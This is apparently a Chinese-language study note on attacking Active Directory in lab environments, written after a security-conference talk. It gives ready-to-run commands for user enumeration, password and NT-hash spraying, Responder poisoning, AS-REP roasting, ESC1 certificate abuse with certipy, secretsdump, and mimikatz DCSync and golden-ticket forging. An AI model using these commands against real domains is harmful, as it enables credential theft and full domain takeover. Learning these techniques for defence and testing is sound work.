[TOC] <!-- ## Info [ 來源 ] : 2024 CYBERSEC 2024 臺灣資安大會 [ 演講名稱 ] : 分分鐘拿下整個網域- 關於 AD,你還疏忽了什麼? [ 簡報 ] : [分分鐘拿下整個網域- 關於 AD,你還疏忽了什麼?](https://conf.devco.re/2024/keynote/DEVCORE-CONFERENCE-2024-Vtim-Taking-down-AD-in-minutes-things-that-you-missed-about-AD.pdf) [ 學習資源 ] : - https://medium.com/@hyphens443/attacking-domain-controllers-a45b9cb9651c --> 原本下圖的攻擊手法我一個都不認得,所以在深入了解這個演講之前我決定好好的認識 AD,並且學習最基礎的 AD 攻擊知識。 ![image](https://hackmd.io/_uploads/BJQhckNUkg.png) ## 基礎知識 ### Active Directory ( AD ) AD 負責處理這兩個核心功能 : - **Authentication (驗證)**:確認用戶的身份是否合法。例如,使用者輸入正確的帳號和密碼後,Active Directory 會驗證其身份。 - **Authorization (授權)**:在用戶通過身份驗證後,授權決定該用戶對資源的存取權限。例如,某個使用者是否能進入特定的檔案夾或使用特定的服務。 Active Directory 可以將相似的用戶放在一起並批量分配權限 : - **Groups** : 用於將用戶、電腦或其他對象集合在一起,以便批量分配權限和管理。 - **Organizational Units ( OU )** : 可用於對使用者、群組和電腦進行分組,以簡化管理並將群組原則設定部署到網域中的特定物件。OU 也可用於將管理任務委派給用戶,例如重設密碼或解鎖用戶帳戶,而不授予他們可以透過群組成員資格繼承的額外管理權限。 - **Domain** : 是 AD 身份驗證、授權和資源管理的基本單位,能夠統一管理 domain 下的使用者、電腦和 OU 等。 - **Domain Controller ( DC )** : 它是 Domain 的核心,負責處理身份驗證請求、驗證網路上的使用者並控制誰可以存取網域中的各種資源。它還執行安全性策略並儲存有關網域中每個其他物件的資訊。 - **Forest** : 由一個或多個 domain 組成,提供了整個 AD 的邏輯範圍和邊界。 下圖為一個簡單的 forest 結構 : - 根網域是 INLANEFREIFHT.LOCAL - 根網域包含 3 個子網域 - ADMIN 網域包含 GPOs、OU > Group Policy Object (GPO) > [群組原則物件 (GPO)](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/policy/group-policy-objects) 是策略設定的虛擬集合。每個 GPO 都有一個唯一的 GUID。 GPO 可以包含本機檔案系統設定或 Active Directory 設定 ![image](https://hackmd.io/_uploads/S1nXj1Yr1e.png) ### Active Directory Domain Services ( AD DS ) 提供儲存目錄資料的方法,並使這些資料可供網路使用者與系統管理員使用,方便集中管理網域內的使用者、裝置和資源,提供身份驗證、授權和群組策略管理功能,實現安全高效的企業網路管理。執行 AD DS 的伺服器為 Domain Controller。 #### AD DS 服務包括: - 網域服務 (Domain Services) 儲存集中式數據,並管理使用者與網域之間的通訊;包括登入驗證和搜尋功能。 - 憑證服務 (Certificate Services) 負責生成、管理和共享憑證。憑證利用加密技術,讓使用者能透過公鑰在網路上安全地交換資訊。 - 輕型目錄服務 (Lightweight Directory Services) 支援基於開放式協議(LDAP)的目錄應用程式。 - 目錄聯合服務 (Directory Federation Services) 提供單一登入 (SSO),讓使用者在一次登入的會話中驗證多個網頁應用程式。 - 權限管理服務 (Rights Management) 控制資訊權限與管理。AD RMS 可加密伺服器上的內容(如電子郵件或 Word 文件),以限制存取權限。 > AD RMS(Active Directory Rights Management Services)用於幫助企業保護資訊,確保敏感內容僅能被授權的用戶訪問和使用。主要針對文檔、電子郵件等資料進行權限保護和管理。 ### Active Directory Certificate Services ( AD CS ) ADCS 可以視作是 AD 的 PKI,有 CA 可以管理憑證及提供不同方法來讓 Client 註冊跟互動 #### Role service - 憑證授權單位 ( CA ) CA 的主要用途是簽發憑證、撤銷憑證,以及發佈授權單位資訊存取 (AIA) 和撤銷資訊。 部署的第一個 CA 會成為內部 PKI 的 root。 ![image](https://hackmd.io/_uploads/HkfXbkE8Je.png) CA 會包含很多的憑證 template,再由使用者去選擇範本並註冊新的證書。 ![image](https://hackmd.io/_uploads/B1MY-kELke.png) ![image](https://hackmd.io/_uploads/SJxS5JNLJg.png) - 憑證授權單位網頁註冊 在使用者使用未加入網域的裝置,或執行 Windows 以外作業系統的情況下,此元件提供核發和更新憑證的方法。 - 線上回應者 您可以使用此元件來設定和管理線上憑證狀態通訊協定 (OCSP) 驗證與撤銷檢查。 Online Responder 可將特定憑證的撤銷狀態要求解碼、評估這些憑證的狀態,並傳回已簽署的回應 (內含所要求的憑證狀態資訊)。 - 網路裝置註冊服務 (NDES) 使用此元件,路由器、交換器和其他網路裝置均可從 AD CS 取得憑證。 - 憑證註冊 Web 服務 (CES) 在執行 Windows 和 CA 的電腦之間,這個 CA 元件可以作為 Proxy 用戶端。 CES 可讓使用者、電腦或應用程式使用 Web 服務連線至 CA: - 要求、更新及安裝已簽發的憑證。 - 擷取憑證撤銷清單 (CRL)。 - 下載根憑證。 - 透過網際網路或跨樹系進行註冊。 - 為屬於不受信任的 AD DS 網域或未加入網域的電腦自動更新憑證。 - 憑證註冊原則 Web 服務 此元件可讓使用者取得憑證註冊原則資訊。 與 CES 結合後,將可在使用者裝置未加入網域或無法連線至網域控制站的情況下,啟用原則式憑證註冊。 ### Kerberos Kerberos 是一種基於的 statelessstate tickt 身份驗證協議,避免在網路上傳輸用戶密碼。作為 Active Directory Domain Services (AD DS) 的一部分,網域控制器包含一個 Kerberos 金鑰分發中心(KDC),負責簽發票證。 :::warning Kerberos 協定使用連接埠 88(TCP 和 UDP)。在列舉 Active Directory 環境時,我們通常可以透過使用 Nmap 等工具執行連接埠掃描來尋找開放連接埠 88 來定位網域控制站。 ::: #### 身份驗證流程 1. 當使用者向系統發起登入請求時,使用者的客戶端會向 KDC 請求票證,並使用用戶的密碼加密請求,請求包含 SPN。 2. 如果 KDC 能使用用戶的密碼解密請求(AS-REQ),它將創建一個票證授權票證(TGT, Ticket Granting Ticket),並將其傳送給用戶。 3.4. 用戶隨後將其 TGT 提交給網域控制器,請求一個服務授權票證(TGS, Ticket Granting Service),該票證使用相關服務的 NTLM 密碼雜湊進行加密。 5. 客戶端向應用程式或服務提交 TGS 以請求訪問,該應用程式或服務使用其密碼雜湊解密票證。 ![image](https://hackmd.io/_uploads/SkG7N-dSyl.png) ### Kerberos Delegation Kerberos 委派是 Kerberos 驗證協定中的擴展,它允許伺服器充當中介、模擬客戶端並取得票證以存取其他網路資源,而無需客戶端單獨對每個資源進行重新驗證。簡單來說,當用戶通過一個服務進行身份驗證時,這個服務可以將用戶的身份傳遞給其他後端服務。 沒有委派的情況需用戶針對不同服務做驗證,如下圖 : ![image](https://hackmd.io/_uploads/ryyrTFcS1x.png) > userAccountControl(UAC) 是一個 AD 屬性,該屬性控制帳戶的各種屬性,像是是否啟用帳戶、帳戶是否具有管理員權限等。 #### 三種不同的委派類型 : - Unconstrained delegation 不受約束的委派 - 配置無約束委派時,物件的 userAccountControl 屬性會更新 TRUSTED_FOR_DELEGATION 標誌 - 服務可以使用使用者的 TGT 為使用者要求任何其他服務的 TGS 。 ![image](https://hackmd.io/_uploads/BytDMq9Syx.png) - Constrained delegation 約束委派 - 帳戶配置為約束委派 userAccountControl 屬性就會更新為 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 標誌 - 約束委派 AD 會設定哪些服務可以接收委派的身份,並限制該身份只能在特定的服務上使用。 ![image](https://hackmd.io/_uploads/SkkUfjqBJx.png) - Resource-based Constrained Delegation 基於資源的約束委派 - 資源會使用 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性來指定哪些服務帳戶可以來進行委派 - 以下是傳統約束委派(Constrained Delegation)與基於資源的約束委派(RBCD)的對比表格: | **特性** | **傳統約束委派(Constrained Delegation)** | **基於資源的約束委派(RBCD)** | |--------------------------------------|----------------------------------------------------------|--------------------------------------------------------| | **委派控制者** | 由服務控制(例如 Web 伺服器決定將用戶的身份委派給哪些服務) | 由資源控制(例如 SQL Server 控制哪些服務可以委派身份進行存取) | | **配置方式** | 在源服務上配置,指定可以接收委派的服務 | 在目標資源(例如 SQL Server)上配置,指定可以對其進行委派的服務帳戶 | | **安全性** | 可能存在服務間無限制的委派風險 | 增強了安全性,因為只有受信任的服務能夠對資源進行委派 | ![image](https://hackmd.io/_uploads/S12qVoqH1g.png) ## 列舉各項資訊 ### 外部偵查 | **項目** | **描述** |**工具**| |----------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----| | **IP 空間** | 目標的有效 ASN,使用於組織公共基礎設施、雲端存在、託管服務提供商的網段、DNS 記錄等。| [BGP Toolkit](https://bgp.he.net/) | | **域名資訊** | 基於 IP 數據、DNS 以及站點註冊訊息。誰管理該域名?是否有與目標相關的子域名?是否有公開訪問的域名服務(如郵件伺服器、DNS、網站、VPN 門戶等)?能否確定有何防禦措施?(如 SIEM、AV、IPS/IDS 等)|[Domaintools](https://whois.domaintools.com/) [ViewDNSinfo](https://viewdns.info/)| | **架構格式** | 我們能否發現組織的郵件帳戶、AD 用戶名,甚至密碼策略?有無任何信息能幫助我們構建有效的用戶名列表,用來測試外部服務的密碼噴射、憑證填充、暴力破解等。 |[HaveIBeenPwned](https://haveibeenpwned.com/) [linkedin2username](https://github.com/initstring/linkedin2username)| | **資料披露** | 查找**公開訪問**的文件(如 .pdf、.ppt、.docx、.xlsx 等),其中包含有助於了解目標的任何訊息。例如,任何公開的文件中包含內部網站列表、用戶元數據、共享信息或環境中的其他關鍵軟硬件(如推送到公開 GitHub 倉庫的憑證、PDF 元數據中的內部 AD 用戶名格式)。| [google-hacking-database](https://www.exploit-db.com/google-hacking-database )| | **資料洩露** | 任何公開釋放的用戶名、密碼或其他關鍵訊息,這些訊息可以幫助攻擊者獲得立足點。 |[HaveIBeenPwned](https://haveibeenpwned.com/) [Dehashed](https://www.dehashed.com/)| ### 找使用者 要爆出 user 有以下方式 : - enum4linux :::info enum4linux -U 172.16.5.5 | grep "user:" ::: ![image](https://hackmd.io/_uploads/B1bmwhySJl.png) - rpcclient :::info rpcclient -U "" -N 172.16.5.5 ::: ![image](https://hackmd.io/_uploads/Byj8b6JHJg.png) - crackmapexec :::info crackmapexec smb 172.16.5.5 --users ::: ![image](https://hackmd.io/_uploads/SyKdWp1B1x.png) 有帳號密碼後的列舉 ![image](https://hackmd.io/_uploads/rJP4kexrJx.png) - ldapsearch ldapsearch 我們將需要指定一個有效的 LDAP 搜尋過濾器。 :::info ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" " ::: ![image](https://hackmd.io/_uploads/B16lMpkSJg.png) - windapsearch.py :::info ./windapsearch.py --dc-ip 172.16.5.5 -u "" -U ::: ![image](https://hackmd.io/_uploads/Sk1EM61SJg.png) #### Kerbrute 使用 Kerbrute 可以列舉有效的 AD 帳戶並進行密碼噴射。 :::success 這個工具利用了 Kerberos 預身份驗證不同的結果來判斷用戶是否存在,這是一種更快速且更隱蔽的密碼噴灑方法。`這種方法不會產生 Windows 事件 ID 4625:登錄失敗`,但是會產生 事件 ID 4768: A Kerberos authentication ticket (TGT) was requested。該工具向域控制器發送TGT請求,如果 KDC 回應錯誤“PRINCIPAL UNKNOWN”,則該用戶名無效。每當 KDC 要求 Kerberos 預身份驗證時,這表示該用戶名存在,工具將標記為有效。`這種用戶名枚舉方法不會造成登錄失敗,也不會鎖定帳戶。` ::: 使用 jsmith.txt 字典檔來嘗試這種方法,該字典包含48,705個可能的常見用戶名,格式為 flast。GitHub上的 [statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames.git) 是進行這種類型攻擊的絕佳資源,可以用來通過 Kerbrute 列舉有效的用戶名。 ![image](https://hackmd.io/_uploads/rJKY0JxBye.png) ### 找密碼原則 - rpcclient :::info rpcclient -U "" -N 172.16.5.5 ::: ![image](https://hackmd.io/_uploads/HkqNfelrke.png) :::success 密碼最少為 8 個字元 有密碼複雜性要求 ::: - enum4linux :::info enum4linux -P 172.16.5.5 ::: ![image](https://hackmd.io/_uploads/Hyvg7llrke.png) :::success 密碼最少為 8 個字元 密碼最長為 24 個字元 帳戶在達到鎖定閾值後會被鎖定 30 分鐘。 輸入錯誤密碼 5 次後帳戶會被鎖定。 用戶不會因為未活動而被自動登出。 ::: 如果組織內有一台可以登入的 windows 主機,可以進去查看它的本地帳戶設置,可以用來猜測整個系統或組織採取一樣的管理策略 - net :::info net accounts ::: ![image](https://hackmd.io/_uploads/rJdiBllH1e.png) :::success - 密碼永不過期(密碼最長期限設定為無限制) - 最小密碼長度為 8,因此很可能使用弱密碼 - 鎖定閾值是 5 次錯誤密碼 - 帳戶鎖定 30 分鐘 ::: - PowerView :::info import-module .\PowerView.ps1 Get-DomainPolicy ::: ![image](https://hackmd.io/_uploads/B1jDhggB1l.png) :::success - 密碼永不過期(密碼最長期限設定為無限制) - 最小密碼長度為 8,因此很可能使用弱密碼 - 鎖定閾值是 5 次錯誤密碼 - 帳戶鎖定 30 分鐘 ::: ## 找密碼 ### spray - kerbrute :::info kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1 ::: ![image](https://hackmd.io/_uploads/H1YiYexrJx.png) - crackmapexec :::info sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep + ::: ![image](https://hackmd.io/_uploads/SJk19egHkx.png) 如果從本機 SAM 資料庫找到本機管理員帳戶的 NTLM hash,就可以在整個子網路(或多個子網路)上噴射 NT hash,以尋找具有相同密碼集的本機管理員帳戶。在下面的範例中,我們嘗試使用從另一台電腦檢索的內建本機管理員帳戶 NT hash 對 /23 網路中的所有主機進行驗證。該 --local-auth 標誌將告訴工具僅在每台電腦上嘗試登入一次 > SAM 資料庫(Security Accounts Manager 資料庫)包含了本機使用者帳戶的資料,包括用戶名、密碼雜湊以及其他安全性資訊。然而,由於 SAM 資料庫包含敏感資料,它是受到保護的,只有具有管理員權限的使用者或特定系統服務才能訪問它。 :::info sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep + ::: ![image](https://hackmd.io/_uploads/HJ5oixgByx.png) ### Poisoning 當使用 LLMNR/NBT-NS 進行名稱解析時,網路上的任何主機都可以回覆。這就是我們毒害 Responder 這些請求的地方。 Link-Local Multicast Name Resolution (LLMNR) & NetBIOS Name Service (NBT-NS) 都是用於網路上設備名稱解析的協定,它們在某些情況下可能會影響到網路的安全性。這兩者在本地網路環境中運行,並且通常會被用於不依賴 DNS(域名系統)的情況下進行名稱解析。如果 LLMNR 失敗,將使用 NBT-NS。 - LLMNR 使用 5355 UDP port - NBT-NS 使用 137 UDP port | 特徵 | **LLMNR** | **NBT-NS** | |-------------------------|----------------------------------------|------------------------------------------| | **用途** | 名稱解析,主要在無 DNS 的情況下使用 | NetBIOS 名稱解析,用於識別設備 | | **工作原理** | 使用 multicast 發送查詢請求 | 使用廣播發送查詢請求 | | **應用場景** | Windows 網絡,局域網中無 DNS 時使用 | 舊版 Windows 網絡中仍有可能使用 | | **安全風險** | 中間人攻擊、名稱解析攻擊 | 名稱欺騙、信息泄漏 | #### poisoning 流程 :::success Sample : 1. 主機嘗試連接到位於 \\print01.inlanefreight.local 的印表機伺服器,但意外地輸入了 \\printer01.inlanefreight.local。 2. DNS 伺服器回應,指出該主機未知。 3. 然後,主機向整個本地網路廣播,詢問是否有人知道 \\printer01.inlanefreight.local 的位置。 4. 攻擊者(我們正在Responder運行)回應主機,指出主機正在尋找 \\printer01.inlanefreight.local。 5. 主機相信此回复,並向攻擊者發送包含用戶名和 NTLMv2 密碼雜湊的身份驗證請求。 6. 如果存在適當的條件,則可以離線破解該雜湊值或將其用於 SMB 中繼攻擊。 ::: - Responder 是一款專門用於毒害 LLMNR、NBT-NS 和 MDNS 的工具,具有許多不同的功能。 - Inveigh 是一個跨平台的 MITM 平台,可用於欺騙和投毒攻擊。( windows ) > Responder 使用 Python 編寫,通常在 Linux 攻擊主機上使用,但也有一個可在 Windows 上執行的 .exe 版本。 Inveigh 是用 C# 和 PowerShell(被視為遺留)寫的。這兩個工具都可以用來攻擊以下協定: > LLMNR、DNS、MDNS、NBNS、DHCP、ICMP、HTTP、HTTPS、SMB、LDAP、WebDAV、Proxy Auth #### responder 參數解析: - -A:進入分析模式,允許我們查看 NBT-NS、BROWSER 和 LLMNR 請求,但不會發送任何假回應。 - -wf:啟動 WPAD 騙局代理伺服器,這會讓攻擊者模擬代理伺服器進行流量攔截。 - -f:用來識別遠端主機的操作系統和版本,這對於進一步的攻擊有幫助。 - -v:增加輸出的詳細程度,有助於在遇到問題時診斷錯誤,但會導致控制台顯示大量額外資料。 - -F 和 -P:這些選項可以強制 NTLM 或 Basic 認證,並強制代理認證,但可能會引起登錄提示,因此應謹慎使用。 - -w:啟用內建的 WPAD 代理伺服器,這對於大型組織尤其有效。當瀏覽器的自動檢測設置啟用時,所有通過 Internet Explorer 發出的 HTTP 請求都會被捕獲。 responder 必須以 sudo 權限或以 root 身分執行該工具,並確保攻擊主機上有必須的連接埠可用 :::info 捕獲 hash,如下圖 : sudo responder -I ens224 工具開始監控網路流量,針對 NetBIOS、LLMNR 和 MDNS 的名稱解析請求。它會偽造回應來引誘受害者設備將它的流量重定向到自己,進而取得網路上的敏感資訊 ::: ![image](https://hackmd.io/_uploads/B1QchdYEke.png) 通常通過 Responder 獲取到的哈希類型都是 NTLMv2,獲得 hash 之後可以用 hashcat 來識別跟爆破密碼,hashcat 的 NTLMv2 編號是 5600 。 ### AS-REP Roasting AS-REP Roasting 是一種技術,使攻擊者能夠竊取已停用了 Kerberos 預先驗證的使用者帳戶的密碼雜湊值 ![image](https://hackmd.io/_uploads/S1uIRNqHyg.png) - Kerberos 身份驗證 - AS-REQ (Authentication Service Request):當用戶需要存取某些資源時,會向身份驗證伺服器 (AS) 傳送請求,這個請求會包含用戶的身份資訊(例如使用者名稱)以及加密的時間戳記。這個時間戳記是用用戶的密碼雜湊值加密的。 - AS-REP (Authentication Service Reply):如果 KDC 能夠成功解密時間戳記,並驗證用戶身份,則會回傳 AS-REP 訊息,其中包含一個 TGT (Ticket Granting Ticket),該票證用於後續的資源存取請求。 - 預先驗證是指要求用戶在發送 AS-REQ 請求時,必須提供一個加密的時間戳記,這個時間戳記是由用戶的密碼雜湊值加密的。 - 如果 Kerberos 服務器上某個使用者的帳戶停用了預先驗證,則該使用者的身份驗證請求(AS-REQ)將不需要提供加密的時間戳記。這樣,攻擊者就可以向 KDC 發送 AS-REQ 請求,並且 KDC 會回傳一個 AS-REP 訊息,該訊息包含了由 KDC 使用用戶的密碼加密的資訊。 如果 Kerberos 預驗證被禁用,userAccountControl 屬性將包含一個名為 UF_DONT_REQUIRE_PREAUTH 的標誌,這個標誌的值為 0x400000。 :::info impacket-GetNPUsers -dc-ip 10.10.10.161 -no-pass -usersfile user.txt htb.local/ 這條命令使用 Impacket 工具集中的 GetNPUsers 來從 Active Directory 網域中提取使用者的 Kerberos 票證(TGT),並針對特定帳戶執行 Kerberos 攻擊。它的目的是利用 Kerberos 預先驗證已停用 的帳戶,從而收集可以離線破解的票證。 - -dc-ip 10.10.10.161 -dc-ip 參數指定了 域控制器(Domain Controller) 的 IP 地址。在這裡,10.10.10.161 是 Active Directory 域控制器的 IP 地址。這個域控制器負責處理 Kerberos 票證的發放與驗證。 - -no-pass -no-pass 參數告訴工具在請求 Kerberos 票證時 不需要提供密碼。這意味著工具會嘗試獲取票證,即使攻擊者不擁有目標使用者的密碼。 // 當 Kerberos 預先驗證被停用時有效 - -usersfile user.txt 先前爆出來的 - htb.local/ 這是目標網域的名稱。在這裡,htb.local 是 Active Directory 域的名稱,指定了目標的 Kerberos 網域。 ::: ![image](https://hackmd.io/_uploads/SJfhhnzB1e.png) ## 獲得憑證後進一步列舉 有使用者憑證才能比較好的列舉想要的東西 - 值得注意的 ACE | ACE | 解釋 | | ------------------- | ------| | GenericWrite | 允許我們對目標物件的非保護屬性進行寫入操作。 | | GenericAll | 該權限賦予我們對目標物件的完全控制權 | | AddSelf | 可利用這一權限將自己添加到有權限的群組中,從而提升自己的權限 | |ForceChangePassword | 讓我們有權在不知道使用者密碼的情況下重置使用者的密碼 | ### Linux crackmapexec ( CME ) :::success crackmapexec smb -h : 重點如下 - -u Username The user whose credentials we will use to authenticate - -p Password User's password Target (IP or FQDN) Target host to enumerate (in our case, the Domain Controller) - --users Specifies to enumerate Domain Users - --groups Specifies to enumerate domain groups - --loggedon-users Attempts to enumerate what users are logged on to a target, if any ::: 找使用者 : note : 過濾掉 badPwdCount 屬性大於 0 的所有用戶,不要被鎖了。 :::info sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users ::: ![image](https://hackmd.io/_uploads/SJen4ZeH1g.png) 找群組 : :::info sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups ::: ![image](https://hackmd.io/_uploads/B1B2HZxBJx.png) 查看特定主機,看有誰登入 :::info sudo crackmapexec smb 172.16.5.130 -u forend -p Klmcargo2 --loggedon-users ::: ![image](https://hackmd.io/_uploads/HJ3X8-grkg.png)上面寫 pwn3d 表示這台主機在我這個憑證下是可用的 **RPCClient** 列舉 user 資訊 ![image](https://hackmd.io/_uploads/r1qKwZxH1l.png) ### Windows 使用 ActiveDirectory PowerShell 模組 :::info - Import-Module ActiveDirectory - Get-Module ::: ![image](https://hackmd.io/_uploads/SyXgtZlSkl.png) 列舉有關網域的一些基本資訊 :::info Get-ADDomain ::: ![image](https://hackmd.io/_uploads/SJ1mY-eBkl.png) 列舉使用者資料 :::info Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName ::: ![image](https://hackmd.io/_uploads/HyF_qWeHye.png) - Get-ADUser 用來檢索、篩選和顯示指定的使用者資訊。 - -Filter {ServicePrincipalName -ne "$null"} 篩選出擁有 ServicePrincipalName (SPN) 的使用者帳戶 - -Properties ServicePrincipalName 要顯示 ServicePrincipalName 屬性 > Service Principal Name (SPN) > - Kerberos 使用 SPN 來查詢服務的帳戶資訊,進而生成服務票證,幫助進行身份驗證。 > - 客戶端應用程式無需知道服務執行的具體帳戶名稱,只需提供 SPN 即可進行驗證。 列舉群組 :::info Get-ADGroup -Filter * | select name ::: ![image](https://hackmd.io/_uploads/SyRKiZgSyg.png) 列舉特定群組詳細資訊、人員 :::info Get-ADGroup -Identity "Backup Operators" Get-ADGroupMember -Identity "Backup Operators" ::: ![image](https://hackmd.io/_uploads/ryXsiZlS1g.png) ![image](https://hackmd.io/_uploads/SynCiblr1l.png) ### BloodHound #### 安裝 :::info sudo apt update && sudo apt install -y bloodhound sudo neo4j console ::: 到 http://localhost:7474/ 會看到以下畫面,帳號密碼為 neo4j/neo4j ![image](https://hackmd.io/_uploads/rkn6LVtBye.png) 接著會要求更改密碼,改完就會出現以下畫面,該密碼也會成為 BloodHound 密碼 ![image](https://hackmd.io/_uploads/r1QUvVFSye.png) 安裝 bloodhound 套件,用來蒐集目標資料 :::info pip install bloodhound ::: #### 使用 使用 bloodhound 套件蒐集資料 :::info bloodhound-python -d htb.local -u svc-alfresco -p s3rvice -gc forest.htb.local -c all -ns 10.10.10.161 ::: ``` -d 網域 -u 使用者 -p 密碼 -gc 主機 -c 要收集的方法,包含 Group、LocalAdmin、Session、Trusts、Default (all previous)、DCOnly (no computer connections)、DCOM、RDP、PSRemote、LoggedOn、Container、ObjectProps、ACL、All -ns 目標伺服器。 ``` ![image](https://hackmd.io/_uploads/SyQYuEFSJg.png) 接著把 .json 檔匯入 bloodhound,點擊分析就可以看到達到目標的最短路徑,也能看到該路徑利用的方式 ![image](https://hackmd.io/_uploads/By7MFEYHkg.png) ![image](https://hackmd.io/_uploads/r1-4tVKryl.png) ![image](https://hackmd.io/_uploads/rkTvfHFSyg.png) ![image](https://hackmd.io/_uploads/ryL9JIFS1l.png) ## 進階工具及技術 ### Certipy [Certipy](https://github.com/ly4k/Certipy) 是一種用於枚舉和濫用 Active Directory 憑證服務 (AD CS) 的攻擊性工具。只要擁有一組有效的使用者憑證就可以找出很多機敏的資訊。 #### 安裝 :::info pip3 install certipy-ad ::: #### 使用 以下指令用於找出易受攻擊的 template,並且會將資料輸出成 Certipy.txt 檔案 :::info certipy find -vulnerable -dc-ip 192.168.0.144 -u Guts@ACU.local -p 'P@ssw0rd!' ::: ``` -u: Domain User -p: Domain User Password -dc-ip: Domain Controller IP ``` 打開檔案可以獲得以下資訊 ![image](https://hackmd.io/_uploads/HyoKG5iB1g.png) :::success - Template : ESC1 - Client authentication : true 服務允許經過身份驗證的使用者訪問 - Entrollee Supplies Subject : true 證書請求過程中,註冊者需要提供證書的主體資訊,也就能讓註冊者可以自己決定 SAN > Subject Alternative Name ( SAN ) : 允許證書包含多個額外的識別名,用來擴展證書所代表的實體或資源的範圍,也讓一個證書可以被多個域名或 IP 地址共享。 > > 也就讓攻擊者可以製作一個證書,將 SAN 欄位設置為 Administrator@domain.local,並將其提交給 CA 進行簽發。之後他就可以使用這個證書來進行身份驗證,以管理員的身份做事。 - Requires Manager Approval : False 這個憑證申請不用主管允許 - Enrollment Rights : ACU.LOCAL\Domain Users 表示一般使用者都可以去註冊證書 - Vulnerabilities : 說明這個設置哪裡有問題 ::: ### ESC1 vuln ![image](https://hackmd.io/_uploads/rJNX1kNL1e.png) ![image](https://hackmd.io/_uploads/HyoKG5iB1g.png) 以上內容發現這是 ESC1 錯誤配置的憑證範本 :boom: #### ESC1 vuln 利用 以下是請求 admin 證書的指令 : :::info certipy req -dc-ip 192.168.0.144 -u Guts@ACU.local -p 'P@ssw0rd!' -ca ACU-ANIKATE-DC-CA -target ANIKATE-DC.ACU.local -template ESC1 -upn Administrator@ACU.local -dns Anikate-DC.ACU.local ::: ``` - certipy req : req 用來發送證書請求 - -dc-ip 192.168.0.144 : 指定 DC 的 IP 地址 - -u Guts@ACU.local : 先前獲得的有效憑證帳號,此帳戶將用來進行身份驗證,以便發送證書請求 - -p 'P@ssw0rd!' : Guts@ACU.local 的密碼 - -ca ACU-ANIKATE-DC-CA : 指定 CA,ACU-ANIKATE-DC-CA 是證書授權機構的名稱 - -target ANIKATE-DC.ACU.local : ANIKATE-DC.ACU.local 是目標主機的名稱,證書會針對這個主機來發放 - -template ESC1 : 使用的證書範本 - -upn Administrator@ACU.local : 說明這張證書代表 ACU.local 中的 Administrator - -dns Anikate-DC.ACU.local : 證書請求中將要註冊的 DNS 名稱 ``` :::success ... ... ... Saved certificate and private key to 'administrator_anikate-dc.pfx' ::: 使用剛才拿到的憑證對 DC 進行身份驗證,我就可以拿到 TGT,也能拿到 NT hash :::info certipy auth -pfx administrator_anikate-dc.pfx -dc-ip 192.168.0.144 ::: :::success ... Got TGT Saved Credential cache to administrator.ccache ... Got hash for 'administrator@acu.local':xxxx... ::: 最後就可以用這個身分做到許多事情,包含竊取更多 hash :::info impacket-secretsdump -hashes 'xxx....:xxx...' ACU.local/Administrator@192.168.0.144.' ::: #### 後續 當我拿下一個 domain 之後,我還可以因為 domain 之間的信任關係將整個 forest 拿下來。 ![image](https://hackmd.io/_uploads/ByUy3JNL1e.png) ### mimikatz [mimikatz](https://github.com/gentilkiwi/mimikatz) 可以從記憶體中提取明文密碼、雜湊值、PIN 碼和 kerberos 票證,也可以做到 pass-the-hash, pass-the-ticket 及 build Golden tickets 攻擊。 ### DCSync 攻擊 為了保持 Domain 內多台 DC 之間的帳戶資訊同步,AD 使用了 DCSync 的同步機制。這個同步過程允許一個 DC 向其他 DC 請求特定用戶的帳戶資料(如密碼哈希、Kerberos 票證等)來進行複製。 所以攻擊者就透過模擬 DC 的行為,通過使用適當的權限發送同步請求來獲取敏感資料,也就能夠透過這個方式來提權。 ### Golden ticket KRBTGT 是 Kerberos 票證服務所使用的特殊帳戶,所有 TGT 都使用 KRBTGT 帳戶的金鑰加密,所以拿到 KRBTGT 帳戶的 NTLM hash,就可以用來生成偽造的 Kerberos 票證,也稱為金票。主要用於橫向。 這條 Mimikatz 的指令是嘗試從 AD 獲取 KRBTGT 帳戶的 hash。 :::info lsadump::dcsync /user:DOMAIN\KRBTGT ::: ``` lsadump::dcsync:執行 DCSync 攻擊,從 DC 中同步帳戶資料。 /user:DOMAIN\KRBTGT:指定要同步的目標帳戶,這裡指的就是 Domain 的 KRBTGT 帳戶 ``` 這條 Mimikatz 的指令是做金票攻擊 :::info kerberos::golden /User:<any-username-youwant> /domain:<domainname> /sid:<domainSID> /krbtgt:<krbtgt-ntlm-hash> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt" ::: ``` - kerberos::golden:用來創建 Golden Ticket。 - /User:<any-username-youwant>:指定 Golden Ticket 所要模擬的用戶名。通常會選擇高權限用戶。 - /domain:<domainname>:指定目標的域名,這是 DC 所屬的 Domain。 - /sid:<domainSID>:指定 Domain 的 SID(Security Identifier),這是每個 AD Domain 的唯一標識符。 - /krbtgt:<krbtgt-ntlm-hash>:它是生成 Golden Ticket 所必須的密鑰,是攻擊前需要先獲得的資訊。 - id:500:指定模擬的用戶 ID,500 是 Domain 管理員帳戶的預設 ID。 - /groups:512:指定群組,512 是 Domain 管理員群組的 GUID。 - /startoffset:0:表示票證從當前時間立即生效。 - /endin:600:表示票證有效期為 600 分鐘。 - /renewmax:10080:指定票證的最大續期時間,這設為 10080,即 7 天(10080 分鐘)。這讓攻擊者可以在長達 7 天的時間內使用這個票證。 - /ptt:這個選項代表 "Pass-the-Ticket",把生成的 Golden Ticket 直接注入到當前的 Kerberos 身份驗證上下文中,繞過身份驗證。 ``` <!-- ## 心得 AD 一直都是紅隊工程師討論的話題,身為夢想成為紅對大老的我也想認識 AD,所以去聽了這場演講,聽完當下覺得腦袋懂了就差一個 AD 給我實作了,但是仔細想想 AD 